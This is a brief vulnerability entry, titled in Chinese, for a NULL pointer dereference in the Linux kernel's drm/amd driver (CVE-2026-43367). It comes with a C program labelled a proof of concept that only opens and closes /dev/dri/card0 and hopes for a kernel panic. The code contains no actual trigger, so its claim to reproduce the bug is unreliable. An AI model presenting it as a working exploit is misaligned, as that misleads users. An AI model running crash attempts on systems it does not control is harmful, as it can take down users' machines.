CVE-2026-43367: Linux内核drm/amd空指针解引用漏洞

/* * PoC for CVE-2026-43367 * This code attempts to trigger the NULL pointer dereference * in the drm/amd device cleanup path on vulnerable hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/dri/card0" int main() { int fd; // Attempt to open the AMD GPU device fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return EXIT_FAILURE; } printf("Device opened successfully. Attempting to trigger cleanup path...\n"); // On vulnerable systems, specific interactions or simply triggering // the device cleanup logic (e.g., closing the device on unsupported hw) // may lead to a kernel panic due to NULL pointer dereference. close(fd); printf("Interaction completed. Check kernel logs for crashes.\n"); return EXIT_SUCCESS; }